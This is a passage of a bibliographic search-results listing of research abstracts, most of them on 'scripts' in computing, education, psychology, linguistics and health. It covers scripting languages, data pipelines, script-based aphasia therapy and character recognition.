    Soil CO2 flux was measured monthly over a year from tropical peatland of Sarawak, Malaysia using a closed-chamber technique. The soil CO2 flux ranged from 100 to 533 mg C m-2 h-1 for the forest ecosystem, 63 to 245 mg C m-2 h-1 for the sago and 46 to 335 mg C m-2 h-1 for the oil palm. Based on principal component analysis (PCA), the environmental variables over all sites could be classified into three components, namely, climate, soil moisture and soil bulk density, which accounted for 86% of the seasonal variability. A regression tree approach showed that CO2 flux in each ecosystem was related to different underlying environmental factors. They were relative humidity for forest, soil temperature at 5 cm for sago and water-filled pore space for oil palm. On an annual basis, the soil CO2 flux was highest in the forest ecosystem with an estimated production of 2.1 kg C m-2 yr-1 followed by oil palm at 1.5 kg C m-2 yr-1 and sago at 1.1 kg C m-2 yr-1. The different dominant controlling factors in CO2 flux among the studied ecosystems suggested that land use affected the exchange of CO2 between tropical peatland and the atmosphere.

  6. A Cultural Evolution Approach to Digital Media.

    PubMed

    Acerbi, Alberto

    2016-01-01

    Digital media have today an enormous diffusion, and their influence on the behavior of a vast part of the human population can hardly be underestimated. In this review I propose that cultural evolution theory, including both a sophisticated view of human behavior and a methodological attitude to modeling and quantitative analysis, provides a useful framework to study the effects and the developments of media in the digital age. I will first give a general presentation of the cultural evolution framework, and I will then introduce this more specific research program with two illustrative topics. The first topic concerns how cultural transmission biases, that is, simple heuristics such as "copy prestigious individuals" or "copy the majority," operate in the novel context of digital media. The existence of transmission biases is generally justified with their adaptivity in small-scale societies. How do they operate in an environment where, for example, prestigious individuals possess not-relevant skills, or popularity is explicitly quantified and advertised? The second aspect relates to fidelity of cultural transmission. Digitally-mediated interactions support cheap and immediate high-fidelity transmission, in opposition, for example, to oral traditions. How does this change the content that is more likely to spread? Overall, I suggest the usefulness of a "long view" to our contemporary digital environment, contextualized in cognitive science and cultural evolution theory, and I discuss how this perspective could help us to understand what is genuinely new and what is not.

  7. Collaboration Scripts for Enhancing Metacognitive Self-Regulation and Mathematics Literacy

    ERIC Educational Resources Information Center

    Chen, Cheng-Huan; Chiu, Chiung-Hui

    2016-01-01

    This study designed a set of computerized collaboration scripts for multi-touch supported collaborative design-based learning and evaluated its effects on multiple aspects of metacognitive self-regulation in terms of planning and controlling and mathematical literacy achievement at higher and lower levels. The computerized scripts provided a…

  8. Flexibility in Macro-Scripts for Computer-Supported Collaborative Learning

    ERIC Educational Resources Information Center

    Dillenbourg, P.; Tchounikine, P.

    2007-01-01

    In the field of computer-supported collaborative learning (CSCL), scripts are designed to support collaboration among distant learners or co-present learners whose interactions are (at least partially) mediated by a computer. The rationale of scripts is to structure collaborative learning processes in order to trigger group interactions that may…

  9. The Environmental Obligations of Experiential Education: A Slide Presentation [Script].

    ERIC Educational Resources Information Center

    Nadeau, Tina

    The slide presentation script is intended to familiarize environmental educators with the "Whole Life Factor," an educational tool developed by the National Audubon Society Expedition Institute. The script first explores cultural images of nature and prejudice against nature. The theory that civilization perceives the planet as divided…

  10. Script Design for Information Film and Video.

    ERIC Educational Resources Information Center

    Shelton, S. M. (Marty); And Others

    1993-01-01

    Shows how the empathy created in the audience by each of the five genres of film/video is a function of the five elements of film design: camera angle, close up, composition, continuity, and cutting. Discusses film/video script designing. Illustrates these concepts with a sample script and story board. (SR)

  11. TODS BioCast User Manual, Forecasting 3D Satellite Derived Optical Properties Using Eulerian Advection Procedure, Version 1.0

    DTIC Science & Technology

    2015-06-17

    Example 2: OpCast_cron.sh #!/bin/sh # # # # # Cron helper script This script may be called with the appropriate arguments to reproduce what the...testing. Example 3: OpCast.sh #!/bin/sh # # helper script to set up environment for call to make_merged_product.sh # # This script can be called stand...ecosystem model skill assessment, Journal of Marine Systems, 76(1-2), 64-82, doi:10.1016/j.jmarsys.2008.05.014. Jolliff, J. K., S. Ladner, R. Crout, P

  12. FastScript3D - A Companion to Java 3D

    NASA Technical Reports Server (NTRS)

    Koenig, Patti

    2005-01-01

    FastScript3D is a computer program, written in the Java 3D(TM) programming language, that establishes an alternative language that helps users who lack expertise in Java 3D to use Java 3D for constructing three-dimensional (3D)-appearing graphics. The FastScript3D language provides a set of simple, intuitive, one-line text-string commands for creating, controlling, and animating 3D models. The first word in a string is the name of a command; the rest of the string contains the data arguments for the command. The commands can also be used as an aid to learning Java 3D. Developers can extend the language by adding custom text-string commands. The commands can define new 3D objects or load representations of 3D objects from files in formats compatible with such other software systems as X3D. The text strings can be easily integrated into other languages. FastScript3D facilitates communication between scripting languages [which enable programming of hyper-text markup language (HTML) documents to interact with users] and Java 3D. The FastScript3D language can be extended and customized on both the scripting side and the Java 3D side.

  13. Transformation of topic-specific professional knowledge into personal pedagogical content knowledge through lesson planning

    NASA Astrophysics Data System (ADS)

    Stender, Anita; Brückmann, Maja; Neumann, Knut

    2017-08-01

    This study investigates the relationship between two different types of pedagogical content knowledge (PCK): the topic-specific professional knowledge (TSPK) and practical routines, so-called teaching scripts. Based on the Transformation Model of Lesson Planning, we assume that teaching scripts originate from a transformation of TSPK during lesson planning: When planning lessons, teachers use their TSPK to create lesson plans. The implementation of these lesson plans and teachers' reflection upon them lead to their improvement. Gradually, successful lesson plans are mentally stored as teaching scripts and can easily be retrieved during instruction. This process is affected by teacher's beliefs, motivation and self-regulation. In order to examine the influence of TSPK on teaching scripts as well as the moderating effects of beliefs, motivation and self-regulation, we conducted a cross-sectional study with n = 49 in-service teachers in physics. The TSPK, beliefs, motivation, self-regulation and the quality of teaching scripts of in-service teachers were assessed by using an online questionnaire adapted to teaching the force concept and Newton's law for 9th grade instruction. Based on the measurement of the quality of teaching scripts, the results provide evidence that TSPK influences the quality of teaching scripts. Motivation and self-regulation moderate this influence.

  14. Acquisition and Maintenance of Scripts in Aphasia: A Comparison of Two Cuing Conditions

    PubMed Central

    Cherney, Leora R.; Kaye, Rosalind C.; van Vuuren, Sarel

    2014-01-01

    Purpose This study was designed to compare acquisition and maintenance of scripts under two conditions: High Cue which provided numerous multimodality cues designed to minimize errors, and Low Cue which provided minimal cues. Methods In a randomized controlled cross-over study, eight individuals with chronic aphasia received intensive computer-based script training under two cuing conditions. Each condition lasted three weeks, with a three-week washout period. Trained and untrained scripts were probed for accuracy and rate at baseline, during treatment, immediately post-treatment, and at three and six weeks post-treatment. Significance testing was conducted on gain scores and effect sizes were calculated. Results Training resulted in significant gains in script acquisition with maintenance of skills at three and six weeks post-treatment. Differences between cuing conditions were not significant. When severity of aphasia was considered, there also were no significant differences between conditions, although magnitude of change was greater in the High Cue condition versus the Low Cue condition for those with more severe aphasia. Conclusions Both cuing conditions were effective in acquisition and maintenance of scripts. The High Cue condition may be advantageous for those with more severe aphasia. Findings support the clinical use of script training and importance of considering aphasia severity. PMID:24686911

  15. Handwritten numeral databases of Indian scripts and multistage recognition of mixed numerals.

    PubMed

    Bhattacharya, Ujjwal; Chaudhuri, B B

    2009-03-01

    This article primarily concerns the problem of isolated handwritten numeral recognition of major Indian scripts. The principal contributions presented here are (a) pioneering development of two databases for handwritten numerals of two most popular Indian scripts, (b) a multistage cascaded recognition scheme using wavelet based multiresolution representations and multilayer perceptron classifiers and (c) application of (b) for the recognition of mixed handwritten numerals of three Indian scripts Devanagari, Bangla and English. The present databases include respectively 22,556 and 23,392 handwritten isolated numeral samples of Devanagari and Bangla collected from real-life situations and these can be made available free of cost to researchers of other academic Institutions. In the proposed scheme, a numeral is subjected to three multilayer perceptron classifiers corresponding to three coarse-to-fine resolution levels in a cascaded manner. If rejection occurred even at the highest resolution, another multilayer perceptron is used as the final attempt to recognize the input numeral by combining the outputs of three classifiers of the previous stages. This scheme has been extended to the situation when the script of a document is not known a priori or the numerals written on a document belong to different scripts. Handwritten numerals in mixed scripts are frequently found in Indian postal mails and table-form documents.

  16. Automation of the CFD Process on Distributed Computing Systems

    NASA Technical Reports Server (NTRS)

    Tejnil, Ed; Gee, Ken; Rizk, Yehia M.

    2000-01-01

    A script system was developed to automate and streamline portions of the CFD process. The system was designed to facilitate the use of CFD flow solvers on supercomputer and workstation platforms within a parametric design event. Integrating solver pre- and postprocessing phases, the fully automated ADTT script system marshalled the required input data, submitted the jobs to available computational resources, and processed the resulting output data. A number of codes were incorporated into the script system, which itself was part of a larger integrated design environment software package. The IDE and scripts were used in a design event involving a wind tunnel test. This experience highlighted the need for efficient data and resource management in all parts of the CFD process. To facilitate the use of CFD methods to perform parametric design studies, the script system was developed using UNIX shell and Perl languages. The goal of the work was to minimize the user interaction required to generate the data necessary to fill a parametric design space. The scripts wrote out the required input files for the user-specified flow solver, transferred all necessary input files to the computational resource, submitted and tracked the jobs using the resource queuing structure, and retrieved and post-processed the resulting dataset. For computational resources that did not run queueing software, the script system established its own simple first-in-first-out queueing structure to manage the workload. A variety of flow solvers were incorporated in the script system, including INS2D, PMARC, TIGER and GASP. Adapting the script system to a new flow solver was made easier through the use of object-oriented programming methods. The script system was incorporated into an ADTT integrated design environment and evaluated as part of a wind tunnel experiment. The system successfully generated the data required to fill the desired parametric design space. This stressed the computational resources required to compute and store the information. The scripts were continually modified to improve the utilization of the computational resources and reduce the likelihood of data loss due to failures. An ad-hoc file server was created to manage the large amount of data being generated as part of the design event. Files were stored and retrieved as needed to create new jobs and analyze the results. Additional information is contained in the original.

  17. Children's Scripts for Social Emotions: Causes and Consequences Are More Central than Are Facial Expressions

    ERIC Educational Resources Information Center

    Widen, Sherri C.; Russell, James A.

    2010-01-01

    Understanding and recognition of emotions relies on emotion concepts, which are narrative structures (scripts) specifying facial expressions, causes, consequences, label, etc. organized in a temporal and causal order. Scripts and their development are revealed by examining which components better tap which concepts at which ages. This study…

  18. Teacher Scripts in Science Teaching

    ERIC Educational Resources Information Center

    Monteiro, Rute; Carrillo, Jose; Aguaded, Santiago

    2010-01-01

    Awareness of teacher scripts is of crucial importance to reflection on practice, and represents one means of widening the scope of classroom performance. The first part of this work provides a full description of three scripts employed by a novice science teacher within the topic of The "Structure of Flowers", and offers a detailed illustration…

  19. Gender Differences in Performance of Script Analysis by Older Adults

    ERIC Educational Resources Information Center

    Helmes, E.; Bush, J. D.; Pike, D. L.; Drake, D. G.

    2006-01-01

    Script analysis as a test of executive functions is presumed sensitive to cognitive changes seen with increasing age. Two studies evaluated if gender differences exist in performance on scripts for familiar and unfamiliar tasks in groups of cognitively intact older adults. In Study 1, 26 older adults completed male and female stereotypical…

  20. The Power of Scripting: DGS Meets Programming

    ERIC Educational Resources Information Center

    Richter-Gebert, Jürgen; Kortenkamp, Ulrich

    2010-01-01

    In this article we demonstrate how the combination of a system for dynamic geometry with a freely programmable scripting environment can be advantageously used in teaching and research. We explain the reasons behind various design decisions that were made by us when designing the language "CindyScript" and give examples that proof how…

  1. Battle of the Library Superstars. A Videotape Script.

    ERIC Educational Resources Information Center

    McNally, Tom; Segal, Jane

    In this videotape script, a parody of a television sports competition serves as a vehicle for introducing college freshmen to the Ohio State University Library System and to the concept of search strategy. In the script, two student contenders participate in three events: the "card catalog combat," the "magazine mania," and the…

  2. Approved Practices in Dairy Reproduction. Slide Script.

    ERIC Educational Resources Information Center

    Roediger, Roger D.; Barr, Harry L.

    This slide script, part of a series of slide scripts designed for use in vocational agriculture classes, deals with approved practices in dairy reproduction. Included in the guide are narrations for use with 200 slides dealing with the following topics: the importance of good reproduction, the male and female roles in reproduction, selection of…

  3. Toward a Script Theory of Guidance in Computer-Supported Collaborative Learning

    ERIC Educational Resources Information Center

    Fischer, Frank; Kollar, Ingo; Stegmann, Karsten; Wecker, Christof

    2013-01-01

    This article presents an outline of a script theory of guidance for computer-supported collaborative learning (CSCL). With its 4 types of components of internal and external scripts (play, scene, role, and scriptlet) and 7 principles, this theory addresses the question of how CSCL practices are shaped by dynamically reconfigured internal…

  4. Linear Classification of Dairy Cattle. Slide Script.

    ERIC Educational Resources Information Center

    Sipiorski, James; Spike, Peter

    This slide script, part of a series of slide scripts designed for use in vocational agriculture classes, deals with principles of the linear classification of dairy cattle. Included in the guide are narrations for use with 63 slides, which illustrate the following areas that are considered in the linear classification system: stature, strength,…

  5. Emotional Representation in Facial Expression and Script: A Comparison between Normal and Autistic Children

    ERIC Educational Resources Information Center

    Balconi, Michela; Carrera, Alba

    2007-01-01

    The paper explored conceptual and lexical skills with regard to emotional correlates of facial stimuli and scripts. In two different experimental phases normal and autistic children observed six facial expressions of emotions (happiness, anger, fear, sadness, surprise, and disgust) and six emotional scripts (contextualized facial expressions). In…

  6. Scripted or Non-Scripted: A Comparative Analysis of Two Reading Programs

    ERIC Educational Resources Information Center

    Bosen, Pamela K.

    2014-01-01

    The focus of this quantitative comparative study was to analyze school achievement on third-grade reading assessments in 60 similar schools over a three-year period on Washington state standardized criterion-referenced assessments. This study provides statistical data showing the non-scripted programs were consistent for all three years while…

  7. Pairing Script and Dialogue: Combinations that Show Promise for Second or Foreign Language Learning.

    ERIC Educational Resources Information Center

    Holobow, N. E.; And Others

    1984-01-01

    Describes a study to determine if the initial advantage of listening to first language dialogs while reading second language scripts (i.e., reversed subtitling) would hold up over time and if a combination of coordinated dialogs and scripts both in the second language would gain effectiveness through usage. (SED)

  8. Non-Selective Lexical Access in Different-Script Bilinguals

    ERIC Educational Resources Information Center

    Moon, Jihye; Jiang, Nan

    2012-01-01

    Lexical access in bilinguals is known to be largely non-selective. However, most studies in this area have involved bilinguals whose two languages share the same script. This study aimed to examine bilingual lexical access among bilinguals whose two languages have distinct scripts. Korean-English bilinguals were tested in a phoneme monitoring task…

  9. BigDataScript: a scripting language for data pipelines.

    PubMed

    Cingolani, Pablo; Sladek, Rob; Blanchette, Mathieu

    2015-01-01

    The analysis of large biological datasets often requires complex processing pipelines that run for a long time on large computational infrastructures. We designed and implemented a simple script-like programming language with a clean and minimalist syntax to develop and manage pipeline execution and provide robustness to various types of software and hardware failures as well as portability. We introduce the BigDataScript (BDS) programming language for data processing pipelines, which improves abstraction from hardware resources and assists with robustness. Hardware abstraction allows BDS pipelines to run without modification on a wide range of computer architectures, from a small laptop to multi-core servers, server farms, clusters and clouds. BDS achieves robustness by incorporating the concepts of absolute serialization and lazy processing, thus allowing pipelines to recover from errors. By abstracting pipeline concepts at programming language level, BDS simplifies implementation, execution and management of complex bioinformatics pipelines, resulting in reduced development and debugging cycles as well as cleaner code. BigDataScript is available under open-source license at http://pcingola.github.io/BigDataScript. © The Author 2014. Published by Oxford University Press.

  10. A segmentation-free approach to Arabic and Urdu OCR

    NASA Astrophysics Data System (ADS)

    Sabbour, Nazly; Shafait, Faisal

    2013-01-01

    In this paper, we present a generic Optical Character Recognition system for Arabic script languages called Nabocr. Nabocr uses OCR approaches specific for Arabic script recognition. Performing recognition on Arabic script text is relatively more difficult than Latin text due to the nature of Arabic script, which is cursive and context sensitive. Moreover, Arabic script has different writing styles that vary in complexity. Nabocr is initially trained to recognize both Urdu Nastaleeq and Arabic Naskh fonts. However, it can be trained by users to be used for other Arabic script languages. We have evaluated our system's performance for both Urdu and Arabic. In order to evaluate Urdu recognition, we have generated a dataset of Urdu text called UPTI (Urdu Printed Text Image Database), which measures different aspects of a recognition system. The performance of our system for Urdu clean text is 91%. For Arabic clean text, the performance is 86%. Moreover, we have compared the performance of our system against Tesseract's newly released Arabic recognition, and the performance of both systems on clean images is almost the same.

  11. Portuguese American gay men in southeastern Massachusetts: cultural scripts and risk for HIV.

    PubMed

    Jordan, Kathleen M; Johnson, Asal M; Johnson, James A; Holman, Jeremy

    2016-10-01

    In this study, we examined the lived experiences of an understudied subgroup, Portuguese American gay men, within the context of sexual script theory. We employed a phenomenological study design with eight men to provide a more in-depth analysis of their sociocultural sexual behaviours. Recruitment was conducted through word of mouth and a snowball approach beginning with two well-known HIV education and prevention outreach centres in southeastern Massachusetts. In this study, the sexual scripts of the participants were conceptualised within the three domains of cultural, interpersonal and intrapsychic scripts. Our findings suggest the three scripts are constantly interacting and informing one another. This ongoing negotiation influences the way our participants position their sexuality within the broader context of their everyday life within the US Portuguese community. Participants script their sexuality while they navigate multiple but separate entities within their culture, their religion and their families. Learning from these experiences could have important implications for the development of HIV prevention programmes for specific subgroups of men who have sex with men.

  12. BigDataScript: a scripting language for data pipelines

    PubMed Central

    Cingolani, Pablo; Sladek, Rob; Blanchette, Mathieu

    2015-01-01

    Motivation: The analysis of large biological datasets often requires complex processing pipelines that run for a long time on large computational infrastructures. We designed and implemented a simple script-like programming language with a clean and minimalist syntax to develop and manage pipeline execution and provide robustness to various types of software and hardware failures as well as portability. Results: We introduce the BigDataScript (BDS) programming language for data processing pipelines, which improves abstraction from hardware resources and assists with robustness. Hardware abstraction allows BDS pipelines to run without modification on a wide range of computer architectures, from a small laptop to multi-core servers, server farms, clusters and clouds. BDS achieves robustness by incorporating the concepts of absolute serialization and lazy processing, thus allowing pipelines to recover from errors. By abstracting pipeline concepts at programming language level, BDS simplifies implementation, execution and management of complex bioinformatics pipelines, resulting in reduced development and debugging cycles as well as cleaner code. Availability and implementation: BigDataScript is available under open-source license at http://pcingola.github.io/BigDataScript. Contact: pablo.e.cingolani@gmail.com PMID:25189778

  13. Alternating-script priming in Japanese: Are Katakana and Hiragana characters interchangeable?

    PubMed

    Perea, Manuel; Nakayama, Mariko; Lupker, Stephen J

    2017-07-01

    Models of written word recognition in languages using the Roman alphabet assume that a word's visual form is quickly mapped onto abstract units. This proposal is consistent with the finding that masked priming effects are of similar magnitude from lowercase, uppercase, and alternating-case primes (e.g., beard-BEARD, BEARD-BEARD, and BeArD-BEARD). We examined whether this claim can be readily generalized to the 2 syllabaries of Japanese Kana (Hiragana and Katakana). The specific rationale was that if the visual form of Kana words is lost early in the lexical access process, alternating-script repetition primes should be as effective as same-script repetition primes at activating a target word. Results showed that alternating-script repetition primes were less effective at activating lexical representations of Katakana words than same-script repetition primes-indeed, they were no more effective than partial primes that contained only the Katakana characters from the alternating-script primes. Thus, the idiosyncrasies of each writing system do appear to shape the pathways to lexical access. (PsycINFO Database Record (c) 2017 APA, all rights reserved).

  14. Nonprofit health care services marketing: persuasive messages based on multidimensional concept mapping and direct magnitude estimation.

    PubMed

    Hall, Michael L

    2009-01-01

    Persuasive messages for marketing healthcare services in general and coordinated care in particular are more important now for providers, hospitals, and third-party payers than ever before. The combination of measurement-based information and creativity may be among the most critical factors in reaching markets or expanding markets. The research presented here provides an approach to marketing coordinated care services which allows healthcare managers to plan persuasive messages given the market conditions they face. Using market respondents' thinking about product attributes combined with distance measurement between pairs of product attributes, a conceptual marketing map is presented and applied to advertising, message copy, and delivery. The data reported here are representative of the potential caregivers for which the messages are intended. Results are described with implications for application to coordinated care services. Theory building and marketing practice are discussed in the light of findings and methodology.

  15. RosettaScripts: a scripting language interface to the Rosetta macromolecular modeling suite.

    PubMed

    Fleishman, Sarel J; Leaver-Fay, Andrew; Corn, Jacob E; Strauch, Eva-Maria; Khare, Sagar D; Koga, Nobuyasu; Ashworth, Justin; Murphy, Paul; Richter, Florian; Lemmon, Gordon; Meiler, Jens; Baker, David

    2011-01-01

    Macromolecular modeling and design are increasingly useful in basic research, biotechnology, and teaching. However, the absence of a user-friendly modeling framework that provides access to a wide range of modeling capabilities is hampering the wider adoption of computational methods by non-experts. RosettaScripts is an XML-like language for specifying modeling tasks in the Rosetta framework. RosettaScripts provides access to protocol-level functionalities, such as rigid-body docking and sequence redesign, and allows fast testing and deployment of complex protocols without need for modifying or recompiling the underlying C++ code. We illustrate these capabilities with RosettaScripts protocols for the stabilization of proteins, the generation of computationally constrained libraries for experimental selection of higher-affinity binding proteins, loop remodeling, small-molecule ligand docking, design of ligand-binding proteins, and specificity redesign in DNA-binding proteins.

  16. Generic HTML Form Processor: A versatile PHP script to save web-collected data into a MySQL database.

    PubMed

    Göritz, Anja S; Birnbaum, Michael H

    2005-11-01

    The customizable PHP script Generic HTML Form Processor is intended to assist researchers and students in quickly setting up surveys and experiments that can be administered via the Web. This script relieves researchers from the burdens of writing new CGI scripts and building databases for each Web study. Generic HTML Form Processor processes any syntactically correct HTML forminput and saves it into a dynamically created open-source database. We describe five modes for usage of the script that allow increasing functionality but require increasing levels of knowledge of PHP and Web servers: The first two modes require no previous knowledge, and the fifth requires PHP programming expertise. Use of Generic HTML Form Processor is free for academic purposes, and its Web address is www.goeritz.net/brmic.

  17. Origins of Secure Base Script Knowledge and the Developmental Construction of Attachment Representations.

    PubMed

    Waters, Theodore E A; Ruiz, Sarah K; Roisman, Glenn I

    2017-01-01

    Increasing evidence suggests that attachment representations take at least two forms: a secure base script and an autobiographical narrative of childhood caregiving experiences. This study presents data from the first 26 years of the Minnesota Longitudinal Study of Risk and Adaptation (N = 169), examining the developmental origins of secure base script knowledge in a high-risk sample and testing alternative models of the developmental sequencing of the construction of attachment representations. Results demonstrated that secure base script knowledge was predicted by observations of maternal sensitivity across childhood and adolescence. Furthermore, findings suggest that the construction of a secure base script supports the development of a coherent autobiographical representation of childhood attachment experiences with primary caregivers by early adulthood. © 2016 The Authors. Child Development © 2016 Society for Research in Child Development, Inc.

  18. Collaboration Expertise in Medicine - No Evidence for Cross-Domain Application from a Memory Retrieval Study.

    PubMed

    Kiesewetter, Jan; Fischer, Frank; Fischer, Martin R

    2016-01-01

    Is there evidence for expertise on collaboration and, if so, is there evidence for cross-domain application? Recall of stimuli was used to measure so-called internal collaboration scripts of novices and experts in two studies. Internal collaboration scripts refer to an individual's knowledge about how to interact with others in a social situation. METHOD— Ten collaboration experts and ten novices of the content domain social science were presented with four pictures of people involved in collaborative activities. The recall texts were coded, distinguishing between superficial and collaboration script information. RESULTS— Experts recalled significantly more collaboration script information (M = 25.20; SD = 5.88) than did novices (M = 13.80; SD = 4.47). Differences in superficial information were not found. Study 2 tested whether the differences found in Study 1 could be replicated. Furthermore, the cross-domain application of internal collaboration scripts was explored. METHOD— Twenty collaboration experts and 20 novices of the content domain medicine were presented with four pictures and four videos of their content domain and a video and picture of another content domain. All stimuli showed collaborative activities typical for the respective content domains. RESULTS— As in Study 1, experts recalled significantly more collaboration script information of their content domain (M = 71.65; SD = 33.23) than did novices (M = 54.25; SD = 15.01). For the novices, no differences were found for the superficial information nor for the retrieval of collaboration script information recalled after the other content domain stimuli. There is evidence for expertise on collaboration in memory tasks. The results show that experts hold substantially more collaboration script information than did novices. Furthermore, the differences between collaboration novices and collaboration experts occurred only in their own content domain, indicating that internal collaboration scripts are not easily stored and retrieved in memory tasks other than in the own content domain.

  19. Collaboration Expertise in Medicine - No Evidence for Cross-Domain Application from a Memory Retrieval Study

    PubMed Central

    Kiesewetter, Jan; Fischer, Frank; Fischer, Martin R.

    2016-01-01

    Background Is there evidence for expertise on collaboration and, if so, is there evidence for cross-domain application? Recall of stimuli was used to measure so-called internal collaboration scripts of novices and experts in two studies. Internal collaboration scripts refer to an individual’s knowledge about how to interact with others in a social situation. Method—Study 1 Ten collaboration experts and ten novices of the content domain social science were presented with four pictures of people involved in collaborative activities. The recall texts were coded, distinguishing between superficial and collaboration script information. Results—Study 1 Experts recalled significantly more collaboration script information (M = 25.20; SD = 5.88) than did novices (M = 13.80; SD = 4.47). Differences in superficial information were not found. Study 2 Study 2 tested whether the differences found in Study 1 could be replicated. Furthermore, the cross-domain application of internal collaboration scripts was explored. Method—Study 2 Twenty collaboration experts and 20 novices of the content domain medicine were presented with four pictures and four videos of their content domain and a video and picture of another content domain. All stimuli showed collaborative activities typical for the respective content domains. Results—Study 2 As in Study 1, experts recalled significantly more collaboration script information of their content domain (M = 71.65; SD = 33.23) than did novices (M = 54.25; SD = 15.01). For the novices, no differences were found for the superficial information nor for the retrieval of collaboration script information recalled after the other content domain stimuli. Discussion There is evidence for expertise on collaboration in memory tasks. The results show that experts hold substantially more collaboration script information than did novices. Furthermore, the differences between collaboration novices and collaboration experts occurred only in their own content domain, indicating that internal collaboration scripts are not easily stored and retrieved in memory tasks other than in the own content domain. PMID:26866801

  20. Chinese and Korean Characters Engage the Same Visual Word Form Area in Proficient Early Chinese-Korean Bilinguals

    PubMed Central

    Bai, Jian'e; Shi, Jinfu; Jiang, Yi; He, Sheng; Weng, Xuchu

    2011-01-01

    A number of recent studies consistently show an area, known as the visual word form area (VWFA), in the left fusiform gyrus that is selectively responsive for visual words in alphabetic scripts as well as in logographic scripts, such as Chinese characters. However, given the large difference between Chinese characters and alphabetic scripts in terms of their orthographic rules, it is not clear at a fine spatial scale, whether Chinese characters engage the same VWFA in the occipito-temporal cortex as alphabetic scripts. We specifically compared Chinese with Korean script, with Korean script serving as a good example of alphabetic writing system, but matched to Chinese in the overall square shape. Sixteen proficient early Chinese-Korean bilinguals took part in the fMRI experiment. Four types of stimuli (Chinese characters, Korean characters, line drawings and unfamiliar Chinese faces) were presented in a block-design paradigm. By contrasting characters (Chinese or Korean) to faces, presumed VWFAs could be identified for both Chinese and Korean characters in the left occipito-temporal sulcus in each subject. The location of peak response point in these two VWFAs were essentially the same. Further analysis revealed a substantial overlap between the VWFA identified for Chinese and that for Korean. At the group level, there was no significant difference in amplitude of response to Chinese and Korean characters. Spatial patterns of response to Chinese and Korean are similar. In addition to confirming that there is an area in the left occipito-temporal cortex that selectively responds to scripts in both Korean and Chinese in early Chinese-Korean bilinguals, our results show that these two scripts engage essentially the same VWFA, even at the level of fine spatial patterns of activation across voxels. These results suggest that similar populations of neurons are engaged in processing the different scripts within the same VWFA in early bilinguals. PMID:21818386

  1. Effects of peer-mediated implementation of visual scripts in middle school.

    PubMed

    Ganz, Jennifer B; Heath, Amy K; Lund, Emily M; Camargo, Siglia P H; Rispoli, Mandy J; Boles, Margot; Plaisance, Lauren

    2012-05-01

    Although research has investigated the impact of peer-mediated interventions and visual scripts on social and communication skills in children with autism spectrum disorders, no studies to date have investigated peer-mediated implementation of scripts. This study investigated the effects of peer-implemented scripts on a middle school student with autism, intellectual impairments, and speech-language impairment via a multiple baseline single-case research design across behaviors. The target student demonstrated improvements in three communicative behaviors when implemented by a trained peer; however, behaviors did not generalize to use with an untrained typically developing peer.

  2. Pornography and the Male Sexual Script: An Analysis of Consumption and Sexual Relations.

    PubMed

    Sun, Chyng; Bridges, Ana; Johnson, Jennifer A; Ezzell, Matthew B

    2016-05-01

    Pornography has become a primary source of sexual education. At the same time, mainstream commercial pornography has coalesced around a relatively homogenous script involving violence and female degradation. Yet, little work has been done exploring the associations between pornography and dyadic sexual encounters: What role does pornography play inside real-world sexual encounters between a man and a woman? Cognitive script theory argues media scripts create a readily accessible heuristic model for decision-making. The more a user watches a particular media script, the more embedded those codes of behavior become in their worldview and the more likely they are to use those scripts to act upon real life experiences. We argue pornography creates a sexual script that then guides sexual experiences. To test this, we surveyed 487 college men (ages 18-29 years) in the United States to compare their rate of pornography use with sexual preferences and concerns. Results showed the more pornography a man watches, the more likely he was to use it during sex, request particular pornographic sex acts of his partner, deliberately conjure images of pornography during sex to maintain arousal, and have concerns over his own sexual performance and body image. Further, higher pornography use was negatively associated with enjoying sexually intimate behaviors with a partner. We conclude that pornography provides a powerful heuristic model which is implicated in men's expectations and behaviors during sexual encounters.

  3. Reading accuracy and speed of vowelized and unvowelized scripts among dyslexic readers of Hebrew: the road not taken.

    PubMed

    Schiff, Rachel; Katzir, Tami; Shoshan, Noa

    2013-07-01

    The present study examined the effects of orthographic transparency on reading ability of children with dyslexia in two Hebrew scripts. The study explored the reading accuracy and speed of vowelized and unvowelized Hebrew words of fourth-grade children with dyslexia. A comparison was made to typically developing readers of two age groups: a group matched by chronological age and a group of children who are 2 years younger, presumably at the end of the reading acquisition process. An additional purpose was to investigate the role of vowelization in the reading ability of unvowelized script among readers with dyslexia in an attempt to assess whether vowelization plays a mediating role for reading speed of unvowelized scripts. The present study found no significant differences in reading accuracy and speed between vowelized and unvowelized scripts among fourth-grade readers with dyslexia. The reading speed of fourth-graders with dyslexia was similar to typically developing second-graders for both the vowelized and unvowelized words. However, fourth-grade children with dyslexia performed lower than the typically developing second-graders in the reading accuracy of vowelized script. Furthermore, for readers with dyslexia, accuracy in reading both vowelized and unvowelized words mediated the reading speed of unvowelized scripts. These results may be a sign that Hebrew-speaking children with dyslexia have severe difficulties that prevent them from developing strategies for more efficient reading.

  4. Benefits of interhemispheric integration on the Japanese Kana script-matching tasks.

    PubMed

    Yoshizaki, K; Tsuji, Y

    2000-02-01

    We tested Banich's hypothesis that the benefits of bihemispheric processing were enhanced as task complexity increased, when some procedural shortcomings in the previous studies were overcome by using Japanese Kana script-matching tasks. In Exp. 1, the 20 right-handed subjects were given the Physical-Identity task (Katakana-Katakana scripts matching) and the Name-Identity task (Katakana-Hiragana scripts matching). On both tasks, a pair of Kana scripts was tachistoscopically presented in the left, right, and bilateral visual fields. Distractor stimuli were also presented with target Kana scripts on both tasks to equate the processing load between the hemispheres. Analysis showed that, while a bilateral visual-field advantage was found on the name-identity task, a unilateral visual-field advantage was found on the physical-identity task, suggesting that, as the computational complexity of the encoding stage was enhanced, the benefits of bilateral hemispheric processing increased. In Exp. 2, the 16 right-handed subjects were given the same physical-identity task as in Exp. 1, except Hiragana scripts were used as distractors instead of digits to enhance task difficulty. Analysis showed no differences in performance between the unilateral and bilateral visual fields. Taking into account these results of physical-identity tasks for both Exps. 1 and 2, enhancing task demand in the stage of ignoring distractors made the unilateral visual-field advantage obtained in Exp. 1 disappear in Exp. 2. These results supported Banich's hypothesis.

  5. Prototypical Images in Condom Scripts among AIDS-Bereaved Adolescents

    ERIC Educational Resources Information Center

    Reich, Warren A.; Rubin, Rachel M.

    2007-01-01

    Twenty-five HIV-negative late adolescents (13 women and 12 men) who had lost a parent to AIDS generated vignettes in which the characters were deciding whether to use a condom (condom scripts). Two clinically trained judges rated the interpersonal tone of the condom scripts on 17 semantic differential scales. Three other clinically trained raters…

  6. Increasing Play-Based Commenting in Children with Autism Spectrum Disorder Using a Novel Script-Frame Procedure

    ERIC Educational Resources Information Center

    Groskreutz, Mark P.; Peters, Amy; Groskreutz, Nicole C.; Higbee, Thomas S.

